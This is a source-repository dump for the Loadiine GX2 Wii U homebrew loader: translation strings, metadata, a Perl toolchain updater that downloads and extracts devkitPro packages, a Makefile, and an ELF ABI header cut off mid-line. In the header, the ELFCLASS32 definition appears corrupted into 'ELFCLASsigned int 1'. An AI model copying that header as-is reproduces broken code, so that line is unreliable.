src/menu/SettingsMenu.cpp:81 msgid "HID-Pad Network" msgstr "" #~ msgid "Art Atelier Mode" #~ msgstr "Modo Art Atelier" #~ msgid "Shared Mode" #~ msgstr "Modo Compartido" #~ msgid "Unique Mode" #~ msgstr "Modo Unico" #~ msgid "Mii Maker Mode" #~ msgstr "Modo Mii Maker" #~ msgid "Smash Bros Mode" #~ msgstr "Modo Smash Bros" #~ msgid "Karaoke Mode" #~ msgstr "Modo Karaoke" #~ msgid "Log Server IP" #~ msgstr "IP del Servidor" ================================================ FILE: meta/meta.xml ================================================ Loadiine GX2 Dimok, Maschell, n1ghty, dibas 0.3 r39c1591 20160804094703 WiiU game loader Loads games from SD card. Compatibility list: http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list Sources: https://github.com/dimok789/loadiine_gx2 ================================================ FILE: other/devkitPPCupdatePPCr29.pl ================================================ #!/usr/bin/perl #----------------------------------------------------------------------------- # # Copyright (C) 2011 - 2016 # Michael Theall (mtheall) # Dave Murphy (WinterMute) # # This software is provided 'as-is', without any express or implied # warranty. In no event will the authors be held liable for any # damages arising from the use of this software. # # Permission is granted to anyone to use this software for any # purpose, including commercial applications, and to alter it and # redistribute it freely, subject to the following restrictions: # # 1. The origin of this software must not be misrepresented; you # must not claim that you wrote the original software. If you use # this software in a product, an acknowledgment in the product # documentation would be appreciated but is not required. # 2. Altered source versions must be plainly marked as such, and # must not be misrepresented as being the original software. # 3. This notice may not be removed or altered from any source # distribution. # #----------------------------------------------------------------------------- use strict; my $dir = "$ENV{HOME}/devkitPro"; my $downloader; my $archname; if($ENV{"DEVKITPRO"} ne "") { $dir = $ENV{"DEVKITPRO"}; } if($#ARGV eq 0) { $dir = $ARGV[0]; } # Ensure full pathname if(!($dir =~ /^\//)) { my $pwd = `pwd`; chomp($pwd); $dir = "$pwd/$dir"; } printf("devkitPPC Updater/Installer\n"); printf("Installing to %s\n", $dir); # Get OS information my $os = `uname`; my $arch = `uname -m`; chomp($os); chomp($arch); # Check OS information if($os eq "Linux" and ($arch eq "i686" or $arch eq "x86_64")) { $downloader = "wget -q"; $archname = $arch . "-linux"; } elsif($os eq "Darwin" and ($arch eq "i386" or $arch eq "x86_64")) { $downloader = "curl -L -O -s"; $archname = $arch . "-osx"; } else { printf(STDERR "Not on Linux i686/x86_64 or Darwin i386/x86_64!\n"); exit(1); } # Set up directories if(!(-d "$dir")) { mkdir("$dir") or die $!; } if(!(-d "$dir/libogc")) { mkdir("$dir/libogc") or die $!; } if(!(-d "$dir/examples")) { mkdir("$dir/examples") or die $!; } if(!(-d "$dir/examples/wii")) { mkdir("$dir/examples/wii") or die $!; } if(!(-d "$dir/examples/gamecube")) { mkdir("$dir/examples/gamecube") or die $!; } # Grab update file if(-e "devkitProUpdatePPCr29.ini") { unlink("devkitProUpdatePPCr29.ini") or die $!; } printf("Downloading update file..."); system($downloader . " https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitProUpdatePPCr29.ini") and die "Failed to download!"; printf("OK!\n"); # Initialize versions & newVersions my %versions = ( 'devkitPPC' => 0, 'libogc' => 0, 'libogcfat' => 0, 'wiiexamples' => 0, 'cubeexamples' => 0, ); my %newVersions = %versions; my %files = (); my $current = ""; if(-e "$dir/dkppc-update.ini") { open(MYFILE, "<$dir/dkppc-update.ini") or die $!; while() { chomp; if($_ =~ /\[(.*)\]/) { $current = $1; } elsif($_ =~ /Version=(.*)/ and defined($versions{$current})) { $versions{$current} = $1; } elsif($_ =~ /File=(.*)/) { $files{$current} = $1; } } close(MYFILE); } my %newFiles = (); open(MYFILE, ") { chomp; if($_ =~ /\[(.*)\]/) { $current = $1; } elsif($_ =~ /Version=(.*)/ and defined($newVersions{$current})) { $newVersions{$current} = $1; } elsif($_ =~ /File=(.*)/) { $newFiles{$current} = $1; } } close(MYFILE); unlink("devkitProUpdatePPCr29.ini") or die $!; # see what to update my %updates = (); foreach my $key (keys %versions) { if($versions{$key} ne $newVersions{$key} and $newVersions{$key} ne 0) { $newFiles{$key} =~ s/win32\.exe/$archname.tar.bz2/; $updates{$key} = $newFiles{$key}; } else { printf("%s is up-to-date\n", $key); } } # Download files foreach my $key (keys %updates) { printf("Update %s with %s\n", $key, $updates{$key}); if(-e $updates{$key}) { unlink($updates{$key}); } my $cmd = sprintf("%s http://download.sourceforge.net/devkitpro/%s", $downloader, $updates{$key}); printf(" Downloading..."); system($cmd) and die "Failed to download $updates{$key}\n"; printf("OK!\n"); } # Install files my %install = ( 'devkitPPC' => '', 'libogc' => 'libogc', 'libogcfat' => 'libogc', 'wiiexamples' => 'examples/wii', 'cubeexamples' => 'examples/gamecube', ); foreach my $key (keys %updates) { my $cmd = sprintf("tar -xjf %s -C $dir/%s", $updates{$key}, $install{$key}); printf("Extracting %s...", $updates{$key}); system($cmd) and die "Failed\n"; printf("OK!\n"); } # Output update info open(MYFILE, ">$dir/dkppc-update.ini") or die $!; foreach my $key (keys %newVersions) { printf(MYFILE "[%s]\n", $key); printf(MYFILE "Version=%s\n", $newVersions{$key}); printf(MYFILE "File=%s\n", $newFiles{$key}); printf(MYFILE "\n"); } close(MYFILE); # Check environment variables printf("Checking DEVKITPRO..."); my $env = `echo \$DEVKITPRO`; chomp($env); if($env ne "$dir") { printf("Please set DEVKITPRO in your environment as $dir\n"); } else { printf("OK!\n"); } printf("Checking DEVKITPPC..."); $env = `echo \$DEVKITPPC`; chomp($env); if($env ne "$dir/devkitPPC") { printf("Please set DEVKITPPC in your environment as \${DEVKITPRO}/devkitPPC\n"); } else { printf("OK!\n"); } exit(0); ================================================ FILE: other/devkitProUpdatePPCr29.ini ================================================ [devkitProUpdate] Build=46 URL=http://downloads.sourceforge.net/devkitpro Filename=devkitProUpdater-1.6.0.exe [msys] Version=1.0.17-1 File=msys-1.0.17-1.exe Size=118660 [devkitARM] Version=46 File=devkitARM_r46-win32.exe Size=70461 [devkitPPC] Version=29-1 File=devkitPPC_r29-1-win32.exe Size=65356 [devkitPSP] Version=16-1 File=devkitPSP_r16-1-win32.exe Size=70915 [pspdoc] Version=20051113 File=pspsdk-doc-20051113.tar.bz2 Size=9344 [libgba] Version=0.5.0 File=libgba-0.5.0.tar.bz2 Size=268 [libgbafat] Version=1.1.0 File=libfat-gba-1.1.0.tar.bz2 Size=241 [maxmodgba] Version=1.0.10 File=maxmod-gba-1.0.10.tar.bz2 Size= [libnds] Version=1.6.2 File=libnds-1.6.2.tar.bz2 Size=470 [libndsfat] Version=1.1.0 File=libfat-nds-1.1.0.tar.bz2 Size=272 [maxmodds] Version=1.0.10 File=maxmod-nds-1.0.10.tar.bz2 Size= [dswifi] Version=0.4.0 File=dswifi-0.4.0.tar.bz2 Size=496 [libctru] Version=1.2.1 File=libctru-1.2.1.tar.bz2 Size=371 [citro3d] Version=1.2.0 File=citro3d-1.2.0.tar.bz2 Size=371 [libmirko] Version=0.9.7 File=libmirko-0.9.7.tar.bz2 Size=1056 [libogc] Version=1.8.16 File=libogc-1.8.16.tar.bz2 Size=2748 [libogcfat] Version=1.1.0 File=libfat-ogc-1.1.0.tar.bz2 Size=481 [pnotepad] Version=2.0.8.718 File=pn2.0.8.718.zip Size=4958 [insight] Version=7.3.50.20110803 File=insight-7.3.50.20110803-cvs.exe Size=32932 [ndsexamples] Version=20170124 File=nds-examples-20170124.tar.bz2 Size=1191 [defaultarm7] Version=0.7.1 File=default_arm7-0.7.1.tar.bz2 Size=9 [filesystem] Version=0.9.13-1 File=libfilesystem-0.9.13-1.tar.bz2 Size=9 [gbaexamples] Version=20170228 File=gba-examples-20170228.tar.bz2 Size=1019 [gp32examples] Version=20051021 File=gp32-examples-20051021.tar.bz2 Size=732 [cubeexamples] Version=20170228 File=gamecube-examples-20170228.tar.bz2 Size=198 [wiiexamples] Version=20170228 File=wii-examples-20170228.tar.bz2 Size=93 [3dsexamples] Version=20170226 File=3ds-examples-20170226.tar.bz2 Size=93 [gcube] Version=0.4.0 File=gcube-0.4.0-win32.tar.bz2 Size=1234 [Settings] RTL=0 ================================================ FILE: sd_loader/Makefile ================================================ #--------------------------------------------------------------------------------- # Clear the implicit built in rules #--------------------------------------------------------------------------------- .SUFFIXES: #--------------------------------------------------------------------------------- ifeq ($(strip $(DEVKITPPC)),) $(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC") endif export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH) export LIBOGC_INC := $(DEVKITPRO)/libogc/include export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii export PORTLIBS := $(DEVKITPRO)/portlibs/ppc PREFIX := powerpc-eabi- export AS := $(PREFIX)as export CC := $(PREFIX)gcc export CXX := $(PREFIX)g++ export AR := $(PREFIX)ar export OBJCOPY := $(PREFIX)objcopy #--------------------------------------------------------------------------------- # TARGET is the name of the output # BUILD is the directory where object files & intermediate files will be placed # SOURCES is a list of directories containing source code # INCLUDES is a list of directories containing extra header files #--------------------------------------------------------------------------------- TARGET := sd_loader BUILD := build BUILD_DBG := $(TARGET)_dbg SOURCES := src DATA := INCLUDES := #--------------------------------------------------------------------------------- # options for code generation #--------------------------------------------------------------------------------- CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \ -Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \ -O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) ASFLAGS := -mregnames LDFLAGS := -nostartfiles -Wl,--gc-sections Q := @ MAKEFLAGS += --no-print-directory #--------------------------------------------------------------------------------- # any extra libraries we wish to link with the project #--------------------------------------------------------------------------------- LIBS := #--------------------------------------------------------------------------------- # list of directories containing libraries, this must be the top level containing # include and lib #--------------------------------------------------------------------------------- LIBDIRS := $(CURDIR) \ $(DEVKITPPC)/lib \ $(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 #--------------------------------------------------------------------------------- # no real need to edit anything past this point unless you need to add additional # rules for different file extensions #--------------------------------------------------------------------------------- ifneq ($(BUILD),$(notdir $(CURDIR))) #--------------------------------------------------------------------------------- export PROJECTDIR := $(CURDIR) export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET) export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ $(foreach dir,$(DATA),$(CURDIR)/$(dir)) export DEPSDIR := $(CURDIR)/$(BUILD) #--------------------------------------------------------------------------------- # automatically build a list of object files for our project #--------------------------------------------------------------------------------- CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S))) BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf))) PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png))) #--------------------------------------------------------------------------------- # use CXX for linking C++ projects, CC for standard C #--------------------------------------------------------------------------------- ifeq ($(strip $(CPPFILES)),) export LD := $(CC) else export LD := $(CXX) endif export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \ $(sFILES:.s=.o) $(SFILES:.S=.o) \ $(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES)) #--------------------------------------------------------------------------------- # build a list of include paths #--------------------------------------------------------------------------------- export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ -I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \ -I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2 #--------------------------------------------------------------------------------- # build a list of library paths #--------------------------------------------------------------------------------- export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \ -L$(LIBOGC_LIB) -L$(PORTLIBS)/lib export OUTPUT := $(CURDIR)/$(TARGET) .PHONY: $(BUILD) clean install #--------------------------------------------------------------------------------- $(BUILD): @[ -d $@ ] || mkdir -p $@ @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile #--------------------------------------------------------------------------------- clean: @echo clean ... @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf #--------------------------------------------------------------------------------- else DEPENDS := $(OFILES:.o=.d) #--------------------------------------------------------------------------------- # main targets #--------------------------------------------------------------------------------- $(OUTPUT).elf: $(OFILES) #--------------------------------------------------------------------------------- # This rule links in binary data with the .jpg extension #--------------------------------------------------------------------------------- %.elf: link.ld $(OFILES) @echo "linking ... $(TARGET).elf" $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ #--------------------------------------------------------------------------------- %.a: #--------------------------------------------------------------------------------- @echo $(notdir $@) @rm -f $@ @$(AR) -rc $@ $^ #--------------------------------------------------------------------------------- %.o: %.cpp @echo $(notdir $<) @$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.o: %.c @echo $(notdir $<) @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.o: %.S @echo $(notdir $<) @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) #--------------------------------------------------------------------------------- %.png.o : %.png @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) #--------------------------------------------------------------------------------- %.ttf.o : %.ttf @echo $(notdir $<) @bin2s -a 32 $< | $(AS) -o $(@) -include $(DEPENDS) #--------------------------------------------------------------------------------- endif #--------------------------------------------------------------------------------- ================================================ FILE: sd_loader/src/elf_abi.h ================================================ /* * Copyright (c) 1995, 1996, 2001, 2002 * Erik Theisen. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * This is the ELF ABI header file * formerly known as "elf_abi.h". */ #ifndef _ELF_ABI_H #define _ELF_ABI_H /* * This version doesn't work for 64-bit ABIs - Erik. */ /* * These typedefs need to be handled better. */ typedef unsigned int Elf32_Addr; /* Unsigned program address */ typedef unsigned int Elf32_Off; /* Unsigned file offset */ typedef signed int Elf32_Sword; /* Signed large integer */ typedef unsigned int Elf32_Word; /* Unsigned large integer */ typedef unsigned short Elf32_Half; /* Unsigned medium integer */ /* e_ident[] identification indexes */ #define EI_MAG0 0 /* file ID */ #define EI_MAG1 1 /* file ID */ #define EI_MAG2 2 /* file ID */ #define EI_MAG3 3 /* file ID */ #define EI_CLASS 4 /* file class */ #define EI_DATA 5 /* data encoding */ #define EI_VERSION 6 /* ELF header version */ #define EI_OSABI 7 /* OS/ABI specific ELF extensions */ #define EI_ABIVERSION 8 /* ABI target version */ #define EI_PAD 9 /* start of pad bytes */ #define EI_NIDENT 16 /* Size of e_ident[] */ /* e_ident[] magic number */ #define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ #define ELFMAG1 'E' /* e_ident[EI_MAG1] */ #define ELFMAG2 'L' /* e_ident[EI_MAG2] */ #define ELFMAG3 'F' /* e_ident[EI_MAG3] */ #define ELFMAG "\177ELF" /* magic */ #define SELFMAG 4 /* size of magic */ /* e_ident[] file class */ #define ELFCLASSNONE 0 /* invalid */ #define ELFCLASsigned int 1 /* 32-bit objs */ #define ELFCLASS64 2 /* 64-bit objs */ #define ELFCLASSNUM 3 /* number of classes */ /* e_ident[] data encoding */ #define ELFDATANONE 0 /* invalid */ #define ELFDATA2LSB 1 /* Little-Endian */ #define ELFDATA2MSB 2 /* Big-Endian */ #define ELFDATANUM 3 /* number of data encode defines */ /* e_ident[] OS/ABI specific ELF extensions */ #define ELFOSABI_NONE 0 /* No extension specified */ #define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ #define ELFOSABI_NETBSD 2 /* NetBSD */ #define ELFOSABI_LINUX 3 /* Linux */ #define ELFOSABI_SOLARIS 6 /* Sun Solaris */ #define ELFOSABI_AIX 7 /* AIX */ #define ELFOSABI_IRIX 8 /* IRIX */ #define ELFOSABI_FREEBSD 9 /* FreeBSD */ #define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ #define ELFOSABI_MODESTO 11 /* Novell Modesto */ #define ELFOSABI_OPENBSD 12 /* OpenBSD */ /* 64-255 Architecture-specific value range */ /* e_ident[] ABI Version */ #define ELFABIVERSION 0 /* e_ident */ #define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ (ehdr).e_ident[EI_MAG3] == ELFMAG3) /* ELF Header */ typedef struct elfhdr{ unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ Elf32_Half e_type; /* object file type */ Elf32_Half e_machine; /* machine */ Elf32_Word e_version; /* object file version */ Elf32_Addr e_entry; /* virtual entry point */ Elf32_Off e_phoff; /* program header table offset */ Elf32_Off e_shoff; /* section header table offset */ Elf32_Word e_flags; /* processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size */ Elf32_Half e_phentsize; /* program header entry size */ Elf32_Half e_phnum; /* number of program header entries */ Elf32_Half e_shentsize; /* section header entry size */ Elf32_Half e_shnum; /* number of section header entries */ Elf32_Half e_shstrndx; /* section header table's "section header string table" entry offset */ } Elf32_Ehdr; /* e_type */ #define ET_NONE 0 /* No file type */ #define ET_REL 1 /* relocatable file */ #define ET_EXEC 2 /* executable file */ #define ET_DYN 3 /* shared object file */ #define ET_CORE 4 /* core file */ #define ET_NUM 5 /* number of types */ #define ET_LOOS 0xfe00 /* reserved range for operating */ #define ET_HIOS 0xfeff /* system specific e_type */ #define ET_LOPROC 0xff00 /* reserved range for processor */ #define ET_HIPROC 0xffff /* specific e_type */ /* e_machine */ #define EM_NONE 0 /* No Machine */ #define EM_M32 1 /* AT&T WE 32100 */ #define EM_SPARC 2 /* SPARC */ #define EM_386 3 /* Intel 80386 */ #define EM_68K 4 /* Motorola 68000 */ #define EM_88K 5 /* Motorola 88000 */ #if 0 #define EM_486 6 /* RESERVED - was Intel 80486 */ #endif #define EM_860 7 /* Intel 80860 */ #define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ #define EM_S370 9 /* IBM System/370 Processor */ #define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ #if 0 #define EM_SPARC64 11 /* RESERVED - was SPARC v9 64-bit unoffical */ #endif /* RESERVED 11-14 for future use */ #define EM_PARISC 15 /* HPPA */ /* RESERVED 16 for future use */ #define EM_VPP500 17 /* Fujitsu VPP500 */ #define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ #define EM_960 19 /* Intel 80960 */ #define EM_PPC 20 /* PowerPC */ #define EM_PPC64 21 /* 64-bit PowerPC */ #define EM_S390 22 /* IBM System/390 Processor */ /* RESERVED 23-35 for future use */ #define EM_V800 36 /* NEC V800 */ #define EM_FR20 37 /* Fujitsu FR20 */ #define EM_RH32 38 /* TRW RH-32 */ #define EM_RCE 39 /* Motorola RCE */ #define EM_ARM 40 /* Advanced Risc Machines ARM */ #define EM_ALPHA 41 /* Digital Alpha */ #define EM_SH 42 /* Hitachi SH */ #define EM_SPARCV9 43 /* SPARC Version 9 */ #define EM_TRICORE 44 /* Siemens TriCore embedded processor */ #define EM_ARC 45 /* Argonaut RISC Core */ #define EM_H8_300 46 /* Hitachi H8/300 */ #define EM_H8_300H 47 /* Hitachi H8/300H */ #define EM_H8S 48 /* Hitachi H8S */ #define EM_H8_500 49 /* Hitachi H8/500 */ #define EM_IA_64 50 /* Intel Merced */ #define EM_MIPS_X 51 /* Stanford MIPS-X */ #define EM_COLDFIRE 52 /* Motorola Coldfire */ #define EM_68HC12 53 /* Motorola M68HC12 */ #define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ #define EM_PCP 55 /* Siemens PCP */ #define EM_NCPU 56 /* Sony nCPU embeeded RISC */ #define EM_NDR1 57 /* Denso NDR1 microprocessor */ #define EM_STARCORE 58 /* Motorola Start*Core processor */ #define EM_ME16 59 /* Toyota ME16 processor */ #define EM_ST100 60 /* STMicroelectronic ST100 processor */ #define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ #define EM_X86_64 62 /* AMD x86-64 */ #define EM_PDSP 63 /* Sony DSP Processor */ /* RESERVED 64,65 for future use */ #define EM_FX66 66 /* Siemens FX66 microcontroller */ #define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ #define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ #define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ #define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ #define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ #define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ #define EM_SVX 73 /* Silicon Graphics SVx */ #define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ #define EM_VAX 75 /* Digital VAX */ #define EM_CHRIS 76 /* Axis Communications embedded proc. */ #define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ #define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ #define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ #define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ #define EM_HUANY 81 /* Harvard University mach-indep objs */ #define EM_PRISM 82 /* SiTera Prism */ #define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ #define EM_FR30 84 /* Fujitsu FR30 */ #define EM_D10V 85 /* Mitsubishi DV10V */ #define EM_D30V 86 /* Mitsubishi DV30V */ #define EM_V850 87 /* NEC v850 */ #define EM_M32R 88 /* Mitsubishi M32R */ #define EM_MN10300 89 /* Matsushita MN10200 */ #define EM_MN10200 90 /* Matsushita MN10200 */ #define EM_PJ 91 /* picoJava */ #define EM_NUM 92 /* number of machine types */ /* Version */ #define EV_NONE 0 /* Invalid */ #define EV_CURRENT 1 /* Current */ #define EV_NUM 2 /* number of versions */ /* Section Header */ typedef struct { Elf32_Word sh_name; /* name - index into section header string table section */ Elf32_Word sh_type; /* type */ Elf32_Word sh_flags; /* flags */ Elf32_Addr sh_addr; /* address */ Elf32_Off sh_offset; /* file offset */ Elf32_Word sh_size; /* section size */ Elf32_Word sh_link; /* section header table index link */ Elf32_Word sh_info; /* extra information */ Elf32_Word sh_addralign; /* address alignment */ Elf32_Word sh_entsize; /* section entry size */ } Elf32_Shdr; /* Special Section Indexes */ #define SHN_UNDEF 0 /* undefined */ #define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ #define SHN_LOPROC 0xff00 /* reserved range for processor */ #define SHN_HIPROC 0xff1f /* specific section indexes */ #define SHN_LOOS 0xff20 /* reserved range for operating */ #define SHN_HIOS 0xff3f /* specific semantics */ #define SHN_ABS 0xfff1 /* absolute value */ #define SHN_COMMON 0xfff2 /* common symbol */ #define SHN_XINDEX 0xffff /* Index is an extra table */ #define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ /* sh_type */ #define SHT_NULL 0 /* inactive */ #define SHT_PROGBITS 1 /* program defined information */ #define SHT_SYMTAB 2 /* symbol table section */ #define SHT_STRTAB 3 /* string table section */ #define SHT_RELA 4 /* relocation section with addends*/ #define SHT_HASH 5 /* symbol hash table section */ #define SHT_DYNAMIC 6 /* dynamic section */ #define SHT_NOTE 7 /* note section */ #define SHT_NOBITS 8 /* no space section */ #define SHT_REL 9 /* relation section without addends */ #define SHT_SHLIB 10 /* reserved - purpose unknown */ #define SHT_DYNSYM 11 /* dynamic symbol table section */ #define SHT_INIT_ARRAY 14 /* Array of constructors */ #define SHT_FINI_ARRAY 15 /* Array of destructors */ #define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ #define SHT_GROUP 17 /* Section group */ #define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ #define SHT_NUM 19 /* number of section types */ #define SHT_LOOS 0x60000000 /* Start OS-specific */ #define SHT_HIOS 0x6fffffff /* End OS-specific */ #define SHT_LOPROC 0x70000000 /* reserved range for processor */ #define SHT_HIPROC 0x7fffffff /* specific section header types */ #define SHT_LOUSER 0x80000000 /* reserved range for application */ #define SHT_HIUSER 0xffffffff /* specific indexes */ /* Section names */ #define ELF_BSS ".bss" /* uninitialized data */ #define ELF_COMMENT ".comment" /* version control information */ #define ELF_DATA ".data" /* initialized data */ #define ELF_DATA1 ".data1" /* initialized data */ #define ELF_DEBUG ".debug" /* debug */ #define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ #define ELF_DYNSTR ".dynstr" /* dynamic string table */ #define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ #define ELF_FINI ".fini" /* termination code */ #define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ #define ELF_GOT ".got" /* global offset table */ #define ELF_HASH ".hash" /* symbol hash table */ #define ELF_INIT ".init" /* initialization code */ #define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ #define ELF_INTERP ".interp" /* Pathname of program interpreter */ #define ELF_LINE ".line" /* Symbolic line numnber information */ #define ELF_NOTE ".note" /* Contains note section */ #define ELF_PLT ".plt" /* Procedure linkage table */ #define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ #define ELF_REL_DATA ".rel.data" /* relocation data */ #define ELF_REL_FINI ".rel.fini" /* relocation termination code */ #define ELF_REL_INIT ".rel.init" /* relocation initialization code */ #define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ #define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ #define ELF_REL_TEXT ".rel.text" /* relocation code */ #define ELF_RODATA ".rodata" /* read-only data */ #define ELF_RODATA1 ".rodata1" /* read-only data */ #define ELF_SHSTRTAB ".shstrtab" /* section header string table */ #define ELF_STRTAB ".strtab" /* string table */ #define ELF_SYMTAB ".symtab" /* symbol table */ #define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ #define ELF_TBSS ".tbss" /* thread local uninit data */ #define ELF_TDATA ".tdata" /* thread local init data */ #define ELF_TDATA1 ".tdata1" /* thread local init data */ #define ELF_TEXT ".text" /* code */ /* Section Attribute Flags - sh_flags */ #define SHF_WRITE 0x1 /* Writable */ #define SHF_ALLOC 0x2 /* occupies memory */ #define SHF_EXECINSTR 0x4 /* executable */ #define SHF_MERGE 0x10 /* Might be merged */ #define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ #define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ #define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ #define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ #define SHF_GROUP 0x200 /* Member of section group */ #define SHF_TLS 0x400 /* Thread local storage */ #define SHF_MASKOS 0x0ff00000 /* OS specific */ #define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ /* specific section attributes */ /* Section Group Flags */ #define GRP_COMDAT 0x1 /* COMDAT group */ #define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ #define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ /* Symbol Table Entry */ typedef struct elf32_sym { Elf32_Word st_name; /* name - index into string table */ Elf32_Addr st_value; /* symbol value */ Elf32_Word st_size; /* symbol size */ unsigned char st_info; /* type and binding */ unsigned char st_other; /* 0 - no defined meaning */ Elf32_Half st_shndx; /* section header index */ } Elf32_Sym; /* Symbol table index */ #define STN_UNDEF 0 /* undefined */ /* Extract symbol info - st_info */ #define ELF32_ST_BIND(x) ((x) >> 4) #define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) #define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) #define ELF32_ST_VISIBILITY(x) ((x) & 0x3) /* Symbol Binding - ELF32_ST_BIND - st_info */ #define STB_LOCAL 0 /* Local symbol */ #define STB_GLOBAL 1 /* Global symbol */ #define STB_WEAK 2 /* like global - lower precedence */ #define STB_NUM 3 /* number of 